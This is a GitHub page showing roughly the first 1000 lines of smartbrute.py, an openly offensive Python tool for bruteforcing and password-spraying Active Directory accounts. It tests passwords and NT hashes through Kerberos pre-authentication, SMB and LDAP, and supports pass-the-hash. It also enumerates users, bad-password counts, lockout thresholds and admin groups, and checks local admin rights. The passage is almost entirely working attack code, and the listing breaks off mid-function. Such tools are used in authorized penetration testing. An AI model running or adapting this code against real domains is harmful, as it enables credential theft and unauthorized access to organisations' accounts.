-
-
Notifications
You must be signed in to change notification settings - Fork 53
/
smartbrute.py
executable file
·1874 lines (1670 loc) · 108 KB
/
smartbrute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name : smartbrute.py
# Authors : Shutdown (@_nwodtuhs) & Podalirius (@podalirius_)
# Date created : 16/04/2021 (dd/mm/yyyy)
# Python Version : 3.*
import argparse
import os
import re
import socket
import random
import ssl
import struct
import datetime
import time
import ldap3
from six import b
from binascii import unhexlify
from ldap3.protocol.formatters.formatters import format_sid
from pyasn1.codec.der import decoder, encoder
from pyasn1.error import PyAsn1Error
from pyasn1.type.univ import noValue, Sequence
from pyasn1.type.useful import GeneralizedTime
from impacket.smbconnection import SMBConnection, SessionError
from impacket.ldap import ldap, ldapasn1
from impacket.ntlm import compute_nthash
from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
from impacket.krb5 import constants
from impacket.dcerpc.v5 import scmr
from impacket.dcerpc.v5.transport import SMBTransport
from impacket.krb5.asn1 import AS_REQ, KRB_ERROR, AS_REP, AP_REQ, seq_set_iter, PA_ENC_TS_ENC, EncryptedData, METHOD_DATA, ETYPE_INFO2, ETYPE_INFO, Authenticator, TGS_REP, seq_set
from impacket.krb5.types import KerberosTime, Principal,Ticket
from impacket.krb5.ccache import CCache
from impacket.krb5.crypto import Key, _enctype_table
from impacket.krb5.kerberosv5 import KerberosError, getKerberosTGT, getKerberosTGS
from rich.console import Console
from rich.columns import Columns
from rich import box
from rich.table import Table
from rich.live import Live
try:
from neo4j.v1 import GraphDatabase
except ImportError:
from neo4j import GraphDatabase
from neo4j.exceptions import AuthError, ServiceUnavailable
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
# sprahound's global vars
ERROR_SUCCESS = (0, "")
ERROR_NEO4J_NON_EXISTENT_NODE = (102, "Node does not exist in database")
ERROR_NO_PATH = (103, "No admin path from this node")
smb_error_status = {
"STATUS_ACCOUNT_DISABLED":"disabled",
"STATUS_ACCOUNT_EXPIRED":"expired",
"STATUS_ACCOUNT_RESTRICTION":"STATUS_ACCOUNT_RESTRICTION",
"STATUS_INVALID_LOGON_HOURS":"STATUS_INVALID_LOGON_HOURS",
"STATUS_INVALID_WORKSTATION":"STATUS_INVALID_WORKSTATION",
"STATUS_LOGON_TYPE_NOT_GRANTED":"STATUS_LOGON_TYPE_NOT_GRANTED",
"STATUS_PASSWORD_EXPIRED":"pwd expired",
"STATUS_PASSWORD_MUST_CHANGE":"pwd must change",
"STATUS_ACCESS_DENIED":"access denied"
}
VERSION="0.1"
class KERBEROS(object):
"""docstring for Kerberos."""
def __init__(self):
super(KERBEROS, self).__init__()
self.salts = {}
self.principal_unknown = []
self.disabled_account = []
self.response_to_big = []
self.server_time = ""
def get_machine_name(self, kdc_ip, domain):
if kdc_ip is not None:
s = SMBConnection(kdc_ip, kdc_ip)
else:
s = SMBConnection(domain, domain)
try:
s.login("", "")
except Exception:
if s.getServerName() == "":
raise Exception("Error while anonymous logging into %s" % domain)
else:
s.logoff()
return s.getServerName()
def send_receive(self, data, host, kdcHost, tproto):
if kdcHost is None:
targetHost = host
else:
targetHost = kdcHost
if tproto == "tcp":
messageLen = struct.pack("!i", len(data))
logger.debug("Trying to connect to KDC at %s using TCP" % targetHost)
try:
af, socktype, proto, canonname, sa = socket.getaddrinfo(targetHost, 88, 0, socket.SOCK_STREAM)[0]
s = socket.socket(af, socket.SOCK_STREAM, socket.IPPROTO_TCP)
s.connect(sa)
except socket.error as e:
raise socket.error("Connection error (%s:%s)" % (targetHost, 88), e)
s.sendall(messageLen + data)
recvDataLen = struct.unpack("!i", s.recv(4))[0]
r = s.recv(recvDataLen)
while len(r) < recvDataLen:
r += s.recv(recvDataLen - len(r))
elif tproto == "udp":
logger.debug("Trying to connect to KDC at %s using UDP" % targetHost)
try:
af, socktype, proto, canonname, sa = socket.getaddrinfo(targetHost, 88, 0, socket.SOCK_STREAM)[0]
s = socket.socket(af, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.connect(sa)
except socket.error as e:
raise socket.error("Connection error (%s:%s)" % (targetHost, 88), e)
s.send(data)
r = s.recv(8192)
# we want the server time
for i in decoder.decode(r):
if type(i) == Sequence:
for k in vars(i)["_componentValues"]:
if type(k) == GeneralizedTime:
self.server_time = datetime.datetime.strptime(k.asOctets().decode("utf-8"), "%Y%m%d%H%M%SZ")
try:
krbError = KerberosError(packet=decoder.decode(r, asn1Spec=KRB_ERROR())[0])
except:
return r
if krbError.getErrorCode() != constants.ErrorCodes.KDC_ERR_PREAUTH_REQUIRED.value:
raise krbError
return r
def get_users_salts(self, target, domain, user, rc4_key, etype, tproto):
logger.debug("Getting Kerberos salts for %s through an AS-REQ" % user)
asReq = AS_REQ()
domain = domain.upper()
serverName = Principal("krbtgt/%s" % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
clientName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
# need to remove the PAC request for UDP to work and not have the KDC throw KRB_ERR_RESPONSE_TOO_BIG
# pacRequest = KERB_PA_PAC_REQUEST()
# pacRequest["include-pac"] = True
# encodedPacRequest = encoder.encode(pacRequest)
asReq["pvno"] = 5
asReq["msg-type"] = int(constants.ApplicationTagNumbers.AS_REQ.value)
# asReq["padata"] = noValue
# asReq["padata"][0] = noValue
# asReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
# asReq["padata"][0]["padata-value"] = encodedPacRequest
reqBody = seq_set(asReq, "req-body")
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.proxiable.value)
reqBody["kdc-options"] = constants.encodeFlags(opts)
seq_set(reqBody, "sname", serverName.components_to_asn1)
seq_set(reqBody, "cname", clientName.components_to_asn1)
if domain == "":
raise Exception("Empty Domain not allowed in Kerberos")
reqBody["realm"] = domain
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody["till"] = KerberosTime.to_asn1(now)
reqBody["rtime"] = KerberosTime.to_asn1(now)
reqBody["nonce"] = random.getrandbits(31)
if rc4_key == b"" or rc4_key is None:
if etype == "rc4":
supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
elif etype == "aes128":
supportedCiphers = (int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)
elif etype == "aes256":
supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),)
else:
supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
seq_set_iter(reqBody, "etype", supportedCiphers)
message = encoder.encode(asReq)
try:
r = self.send_receive(data=message, host=domain, kdcHost=target, tproto=tproto)
except Exception as e:
if str(e).find("KDC_ERR_ETYPE_NOSUPP") >= 0:
logger.error("Kerberos throws ETYPE_NOSUPP, try setting another with --etype")
elif str(e).find("KDC_ERR_CLIENT_REVOKED") >= 0:
logger.debug("User (%s) is disabled, adding to the list" % user)
self.disabled_account.append(user)
elif str(e).find("KDC_ERR_C_PRINCIPAL_UNKNOWN") >= 0:
logger.debug("User (%s) doesn't exist, adding to the list" % user)
self.principal_unknown.append(user)
else:
logger.debug("Something went wrong: %s" % e)
return False
# This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
# "Do not require Kerberos preauthentication" set
try:
asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0]
except:
# Most of the times we shouldn't be here, is this a TGT?
asRep = decoder.decode(r, asn1Spec=AS_REP())[0]
encryptionTypesData = dict()
methods = decoder.decode(asRep["e-data"], asn1Spec=METHOD_DATA())[0]
for method in methods:
if method["padata-type"] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
etypes2 = decoder.decode(method["padata-value"], asn1Spec=ETYPE_INFO2())[0]
for etype2 in etypes2:
try:
if etype2["salt"] is None or etype2["salt"].hasValue() is False:
salt = ""
else:
salt = etype2["salt"].prettyPrint()
except PyAsn1Error:
salt = ""
encryptionTypesData[etype2["etype"]] = b(salt)
elif method["padata-type"] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO.value:
etypes = decoder.decode(method["padata-value"], asn1Spec=ETYPE_INFO())[0]
for etype in etypes:
try:
if etype["salt"] is None or etype["salt"].hasValue() is False:
salt = ""
else:
salt = etype["salt"].prettyPrint()
except PyAsn1Error:
salt = ""
encryptionTypesData[etype["etype"]] = b(salt)
return encryptionTypesData
def pre_authentication(self, target, domain, user, password, etype, tproto, rc4_key=""):
if user in self.principal_unknown:
return False, ""
elif user in self.disabled_account:
return True, "disabled"
else:
# modified code from impacket/krb5/kerberosv5.py
if isinstance(rc4_key, str):
try:
rc4_key = unhexlify(rc4_key)
except TypeError:
pass
if rc4_key == b"" or rc4_key is None:
if etype == "rc4":
supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
logger.debug("Logging in with domain, user, rc4 key for password (%s, %s, %s)" % (domain, user, password))
elif etype == "aes128":
supportedCiphers = (int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)
logger.debug("Logging in with domain, user, aes128 key for password (%s, %s, %s)" % (domain, user, password))
elif etype == "aes256":
supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),)
logger.debug("Logging in with domain, user, aes256 key for password (%s, %s, %s)" % (domain, user, password))
else:
supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
logger.debug("Logging in with domain, user, rc4 key (%s, %s, %s)" % (domain, user, rc4_key))
enc_type = supportedCiphers[0]
cipher = _enctype_table[enc_type]
# Pass the hash/aes key :P
if rc4_key != b"" and isinstance(rc4_key, bytes):
key = Key(cipher.enctype, rc4_key)
else:
if etype == "rc4":
key = Key(cipher.enctype, compute_nthash(password))
else:
if user in self.salts.keys():
salts = self.salts[user]
else:
salts = self.get_users_salts(target=target, domain=domain, user=user, rc4_key=rc4_key, etype=etype, tproto=tproto)
# usually, salts are DOMAINuser, however, on Domain Controllers that went through a domain name change, fetching user slats is required
# salts = {enc_type: "%s%s" % (domain.upper(), user)}
if user in self.principal_unknown:
return False, ""
elif user in self.disabled_account:
return False, "disabled"
if not salts:
logger.debug("Couldn't get salts for %s" % user)
return False, ""
else:
self.salts[user] = salts
logger.debug("Using salt: %s" % salts[enc_type].decode("utf-8"))
key = cipher.string_to_key(password, salts[enc_type], None)
# Let's build the timestamp
timeStamp = PA_ENC_TS_ENC()
now = datetime.datetime.utcnow()
timeStamp["patimestamp"] = KerberosTime.to_asn1(now)
timeStamp["pausec"] = now.microsecond
# Encrypt the shyte
encodedTimeStamp = encoder.encode(timeStamp)
# Key Usage 1
# AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the
# client key (Section 5.2.7.2)
encryptedTimeStamp = cipher.encrypt(key, 1, encodedTimeStamp, None)
encryptedData = EncryptedData()
encryptedData["etype"] = cipher.enctype
encryptedData["cipher"] = encryptedTimeStamp
encodedEncryptedData = encoder.encode(encryptedData)
asReq = AS_REQ()
domain = domain.upper()
serverName = Principal("krbtgt/%s" % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
clientName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
asReq["pvno"] = 5
asReq["msg-type"] = int(constants.ApplicationTagNumbers.AS_REQ.value)
asReq["padata"] = noValue
asReq["padata"][0] = noValue
asReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value)
asReq["padata"][0]["padata-value"] = encodedEncryptedData
reqBody = seq_set(asReq, "req-body")
opts = list()
opts.append( constants.KDCOptions.forwardable.value )
opts.append( constants.KDCOptions.renewable.value )
opts.append( constants.KDCOptions.proxiable.value )
reqBody["kdc-options"] = constants.encodeFlags(opts)
seq_set(reqBody, "sname", serverName.components_to_asn1)
seq_set(reqBody, "cname", clientName.components_to_asn1)
reqBody["realm"] = domain
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody["till"] = KerberosTime.to_asn1(now)
reqBody["rtime"] = KerberosTime.to_asn1(now)
reqBody["nonce"] = random.getrandbits(31)
seq_set_iter(reqBody, "etype", (int(cipher.enctype),))
try:
tgt = self.send_receive(data=encoder.encode(asReq), host=domain, kdcHost=target, tproto=tproto)
if tgt is not None:
return True, ""
except Exception as e:
if str(e).find("KDC_ERR_ETYPE_NOSUPP") >= 0:
logger.error("Kerberos throws ETYPE_NOSUPP, try setting another with --etype")
elif str(e).find("KDC_ERR_CLIENT_REVOKED") >= 0:
logger.debug("User (%s) is disabled, adding to the list" % user)
self.disabled_account.append(user)
return False, "disabled"
elif str(e).find("KRB_ERR_RESPONSE_TOO_BIG") >= 0:
logger.debug("Raised KRB_ERR_RESPONSE_TOO_BIG for User (%s), adding to the list" % user)
self.response_to_big.append(user)
return False, "KRB_ERR_RESPONSE_TOO_BIG"
elif str(e).find("KDC_ERR_C_PRINCIPAL_UNKNOWN") >= 0:
logger.debug("User (%s) doesn't exist, adding to the list" % user)
self.principal_unknown.append(user)
elif str(e).find("KRB_AP_ERR_SKEW") >= 0:
logger.debug("Raised KRB_AP_ERR_SKEW for User (%s), there is a time skew between the client and the server, adding to the list" % user)
return False, "KRB_AP_ERR_SKEW"
else:
logger.debug("Something went wrong: %s" % e)
return False, ""
def LDAP_authentication(self, kdc_ip, tls_version, domain, user, password, rc4_key, aes_key, ccache_ticket, dc_host):
# todo : check LDAP or LDAPS is open before connecting, if port is closed, ask the user if he's sure he's testing a domain controller
if user is None:
user = ""
if domain is None:
domain = ""
if tls_version is not None:
use_ssl = True
port = 636
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version)
else:
use_ssl = False
port = 389
tls = None
if ccache_ticket is not None:
pass
if isinstance(rc4_key, str):
try:
rc4_key = unhexlify(rc4_key)
except TypeError:
pass
TGT = None
TGS = None
if ccache_ticket is not None:
try:
ccache = CCache.loadFile(ccache_ticket)
except Exception as e:
# No cache present
logger.error(e)
pass
else:
# retrieve domain information from CCache file if needed
if domain == "":
domain = ccache.principal.realm["data"].decode("utf-8")
logger.debug("Domain retrieved from CCache: %s" % domain)
if not dc_host:
target = self.get_machine_name(kdc_ip, domain)
else:
target = dc_host
logger.debug("Using Kerberos Cache: %s" % ccache_ticket)
principal = "ldap/%s@%s" % (target.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is None:
# Let's try for the TGT and go from there
principal = "krbtgt/%s@%s" % (domain.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
logger.debug("Using TGT from cache")
else:
logger.debug("No valid credentials found in cache")
else:
TGS = creds.toTGS(principal)
logger.debug("Using TGS from cache")
# retrieve user information from CCache file if needed
if user == "" and creds is not None:
user = creds["client"].prettyPrint().split(b"@")[0].decode("utf-8")
logger.debug("Username retrieved from CCache: %s" % user)
elif user == "" and len(ccache.principal.components) > 0:
user = ccache.principal.components[0]["data"].decode("utf-8")
logger.debug("Username retrieved from CCache: %s" % user)
else:
if not dc_host:
target = self.get_machine_name(kdc_ip, domain)
else:
target = dc_host
# First of all, we need to get a TGT for the user
userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
if TGT is None:
if TGS is None:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName=userName, password=password, domain=domain, lmhash=None, nthash=rc4_key, aesKey=aes_key, kdcHost=kdc_ip)
else:
tgt = TGT["KDC_REP"]
cipher = TGT["cipher"]
sessionKey = TGT["sessionKey"]
if TGS is None:
serverName = Principal("ldap/%s" % target, type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName=serverName, kdcHost=kdc_ip, domain=domain, tgt=tgt, cipher=cipher, sessionKey=sessionKey)
else:
tgs = TGS["KDC_REP"]
cipher = TGS["cipher"]
sessionKey = TGS["sessionKey"]
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob["MechTypes"] = [TypesMech["MS KRB5 - Microsoft Kerberos 5"]]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs["ticket"])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq["pvno"] = 5
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq["ap-options"] = constants.encodeFlags(opts)
seq_set(apReq, "ticket", ticket.to_asn1)
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = domain
seq_set(authenticator, "cname", userName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
apReq["authenticator"] = noValue
apReq["authenticator"]["etype"] = cipher.enctype
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
blob["MechToken"] = encoder.encode(apReq)
if tls_version is not None:
ldap_connection = ldap.LDAPConnection("ldaps://%s" % target, dstIp=kdc_ip)
else:
ldap_connection = ldap.LDAPConnection("ldap://%s" % target, dstIp=kdc_ip)
bindRequest = ldapasn1.BindRequest()
bindRequest["version"] = 3
bindRequest["name"] = user
bindRequest["authentication"]["sasl"]["mechanism"] = "GSS-SPNEGO"
bindRequest["authentication"]["sasl"]["credentials"] = blob.getData()
response = ldap_connection.sendReceive(bindRequest)[0]["protocolOp"]
if response["bindResponse"]["resultCode"] != ldapasn1.ResultCode("success"):
raise ldap.LDAPSessionError(
errorString="Error in bindRequest -> %s: %s" % (response["bindResponse"]["resultCode"].prettyPrint(),
response["bindResponse"]["diagnosticMessage"])
)
return ldap_connection
class NTLM(object):
"""docstring for NTLM."""
def __init__(self):
super(NTLM, self).__init__()
def is_local_admin(self, smb_connection, target):
# https:/SecureAuthCorp/impacket/blob/a16198c3312d8cfe25b329907b16463ea3143519/impacket/examples/ntlmrelayx/clients/smbrelayclient.py#L606-L622
rpc_transport = SMBTransport(remoteName=smb_connection.getRemoteHost(), dstport=445, filename=r"\svcctl", smb_connection=smb_connection)
dce = rpc_transport.get_dce_rpc()
try:
dce.connect()
except:
pass
else:
dce.bind(scmr.MSRPC_UUID_SCMR)
try:
# 0xF003F - SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
ans = scmr.hROpenSCManagerW(dce, "{}\x00".format(target), "ServicesActive\x00", 0xF003F)
return True
except scmr.DCERPCException as e:
pass
return False
def SMB_authentication(self, target, domain, user, password, nt_hash):
"""Returns a tuple (smb_connection, details)
:return: a tuple with the smb_connection and a string (error or specific information regarding the account)
"""
if target == "":
logger.error("No target was set. Set a domain with -d/--domain or a target with --dc-ip.")
exit(0)
try:
logger.debug("Connecting to smb://%s on port 445" % target)
smb_connection = SMBConnection(target, target, None, "445", timeout=15)
except socket.error:
return False, ""
except Exception as e:
logger.error("Error connection to the target. Try to set -p/--protocol to LDAP.")
exit(0)
# return False, ""
if nt_hash is None:
nt_hash = ""
try:
logger.debug("Logging in with domain, user, password, nt_hash (%s, %s, %s, %s)" % (domain, user, password, nt_hash))
smb_connection.login(domain=domain, user=user, password=password, nthash=nt_hash)
if self.is_local_admin(smb_connection=smb_connection, target=target):
return smb_connection, "local admin"
else:
return smb_connection, ""
except SessionError as e:
error, description = e.getErrorString()
if error in smb_error_status.keys():
return None, error
else:
return False, ""
def LDAP_authentication(self, tls_version, target, domain, user, password, lm_hash, nt_hash):
# todo : check LDAP or LDAPS is open before connecting, if port is closed, ask the user if he's sure he's testing a domain controller
if nt_hash is None:
nt_hash = ""
if lm_hash is None:
lm_hash = ""
try:
if tls_version is not None:
logger.debug("Connecting to ldaps://%s" % target)
ldap_connection = ldap.LDAPConnection(url="ldaps://%s" % target)
else:
logger.debug("Connecting to ldap://%s" % target)
ldap_connection = ldap.LDAPConnection(url="ldap://%s" % target)
logger.debug("Logging in with domain, user, password, lm_hash, nt_hash (%s, %s, %s, %s, %s)" % (domain, user, password, lm_hash, nt_hash))
ldap_connection.login(domain=domain, user=user, password=password, lmhash=lm_hash, nthash=nt_hash)
return ldap_connection
except ldap.LDAPSessionError as e:
logger.debug("Triggered exception on a LDAP session error")
if "strongerAuthRequired" in str(e):
logger.debug("A stronger auth is required, trying with LDAPS")
try:
logger.debug("Connecting to ldap://%s" % target)
ldap_connection = ldap.LDAPConnection(url="ldaps://%s" % target)
logger.debug("Logging in with domain (%s), user (%s) and password (%s)" % (domain, user, password))
ldap_connection.login(domain=domain, user=user, password=password, lmhash=lm_hash, nthash=nt_hash)
return ldap_connection
except ldap.LDAPSessionError as e:
logger.debug("Trying LDAPS didn't resolve the LDAP session error, below is the exception")
logger.error(e)
else:
logger.debug("No stronger auth was required, username/password supplied was probably wrong")
return False
except OSError as e:
if domain is None:
logger.error("Error connecting to the domain, please set option -d/--domain")
else:
logger.error("Error connecting to the domain, please set option --dc-ip with the IP address of the domain controller")
exit(0)
class bruteforce(object):
"""docstring for bruteforce."""
def __init__(self, options, table, neo4j):
super(bruteforce, self).__init__()
self.options = options
self.table = table
self.neo4j = neo4j
self.ntlm = NTLM()
self.kerberos = KERBEROS()
self.global_lockout_threshold = 0
self.granular_lockout_threshold = {}
self.users = {}
self.special_groups = {}
self.admin_users = []
self.special_users = []
self.domain_is_dumped = False
def process_user_record(self, item):
if isinstance(item, ldapasn1.SearchResultEntry) is not True:
return
sAMAccountName = ""
badPwdCount = 0
distinguishedName = ""
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
# todo : plan to include a --machine-accounts switch to test machine accounts (nota bene: by default, they don't lock out)
# We want to filter out machine accounts
if attribute["vals"][0].asOctets().decode("utf-8").endswith("$") is False:
sAMAccountName = attribute["vals"][0].asOctets().decode("utf-8")
if str(attribute["type"]) == "badPwdCount":
badPwdCount = int(str(attribute["vals"][0]))
if str(attribute["type"]) == "distinguishedName":
distinguishedName = attribute["vals"][0].asOctets().decode("utf-8")
if distinguishedName in self.granular_lockout_threshold.keys():
lockoutThreshold = self.granular_lockout_threshold[distinguishedName]
else:
lockoutThreshold = self.global_lockout_threshold
self.users[distinguishedName] = {"distinguishedName":distinguishedName, "sAMAccountName":sAMAccountName, "badPwdCount":badPwdCount, "lockoutThreshold":lockoutThreshold}
except Exception as e:
logger.error("Skipping item, cannot process due to error %s" % str(e))
def process_group_record(self, item):
if isinstance(item, ldapasn1.SearchResultEntry) is not True:
return
sAMAccountName = ""
group_type = ""
distinguishedName = ""
try:
for attribute in item["attributes"]:
# print(attribute)
if str(attribute["type"]) == "objectSid":
objectSid = format_sid(attribute["vals"][0].asOctets())
if objectSid.split("-")[-1] in ["512", "516", "518", "519", "526", "527", "544"]:
group_type = "admin"
elif objectSid.split("-")[-1] in ["520", "547", "548", "549", "551", "552", "582"]:
group_type = "special"
if str(attribute["type"]) == "distinguishedName":
distinguishedName = attribute["vals"][0].asOctets().decode("utf-8")
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = attribute["vals"][0].asOctets().decode("utf-8")
if group_type in ["admin", "special"]:
self.special_groups[distinguishedName] = {"distinguishedName":distinguishedName, "sAMAccountName":sAMAccountName, "group_type":group_type}
except Exception as e:
logger.error("Skipping item, cannot process due to error %s" % str(e))
def get_privileged_users(self, ldap_connection, domain):
if domain is None or "." not in domain:
logger.error("FQDN Domain is needed to fetch domain information from LDAP")
exit(0)
else:
domain_dn = ",".join(["DC=" + part for part in domain.split(".")])
# todo : add argument that makes the user choose a page size and set it for "size"
paged_results_control = ldap.SimplePagedResultsControl(criticality=True, size=200, cookie="")
ldap_connection.search(searchBase=domain_dn, searchFilter="(objectCategory=Group)", attributes=["sAMAccountName", "objectSid", "distinguishedName"], searchControls=[paged_results_control], perRecordCallback=self.process_group_record)
admin_users = []
special_users = []
for group_dn in self.special_groups.keys():
if self.special_groups[group_dn]["group_type"] == "admin":
for user_dn in self.members_dn_from_group_dn(ldap_connection=ldap_connection, object_dn=group_dn):
# group = self.special_groups[group_dn]["sAMAccountName"]
try:
user = self.get_attributes_from_object_dn(ldap_connection=ldap_connection, object_dn=user_dn, attributes=["sAMAccountName"])["sAMAccountName"].decode("utf-8")
admin_users.append(user)
except:
logger.debug("Met some kind of error while trying to get attrs from object dn %s" % user_dn)
elif self.special_groups[group_dn]["group_type"] == "special":
for user_dn in self.members_dn_from_group_dn(ldap_connection=ldap_connection, object_dn=group_dn):
user = self.get_attributes_from_object_dn(ldap_connection=ldap_connection, object_dn=user_dn, attributes=["sAMAccountName"])["sAMAccountName"].decode("utf-8")
special_users.append(user)
self.admin_users = list(set(admin_users))
self.special_users = list(set(special_users))
logger.debug("Found %d special/admin users" % len(list(set(admin_users + special_users))))
def get_attributes_from_object_dn(self,ldap_connection, object_dn, attributes):
logger.debug("Fetching attributes for object: %s" % object_dn)
attrs = {}
results = ldap_connection.search(searchBase=object_dn, attributes=attributes)
for result in results:
for attribute in result["attributes"]:
if str(attribute["type"]) in attributes:
if len(attribute["vals"]) > 1:
attrs[str(attribute["type"])] = []
for i in attribute["vals"]:
attrs[str(attribute["type"])].append(i.asOctets())
else:
attrs[str(attribute["type"])] = attribute["vals"][0].asOctets()
return attrs
def get_users(self, ldap_connection, domain):
if domain is None or "." not in domain:
logger.error("FQDN Domain is needed to fetch domain information from LDAP")
exit(0)
else:
domain_dn = ",".join(["DC=" + part for part in domain.split(".")])
# any user that is not disabled
search_filters = "(&(objectCategory=User)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"
